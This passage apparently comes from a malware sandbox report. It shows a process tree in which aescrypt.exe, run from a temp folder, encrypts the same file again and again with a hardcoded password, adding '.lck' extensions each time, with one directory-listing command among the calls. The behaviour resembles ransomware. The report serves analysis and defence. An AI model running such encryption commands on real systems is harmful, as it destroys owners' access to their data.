                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:3976
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:6116
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1928
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5180
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:2916
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5308
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:5352
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5380
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5508
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5692
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5828
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5924
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c dir * /a-D /b /oS
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5992
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck" "90737d32e3aba4b.timestamp"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:6084
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck" "90737d32e3aba4b.timestamp.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:6120
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:6140
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5196
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5284
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5344
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:5600
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5724
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:5900
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:6088
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:2496
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:5136
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:1276
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:5440
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:4240
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe -e -p Rx8riVNpAOdYacWt4lAqv5222ZA2GVqU -o "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck" "90737d32e3aba4b.timestamp.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck.lck"
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:5988
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\42AC.tmp\aescrypt.exe
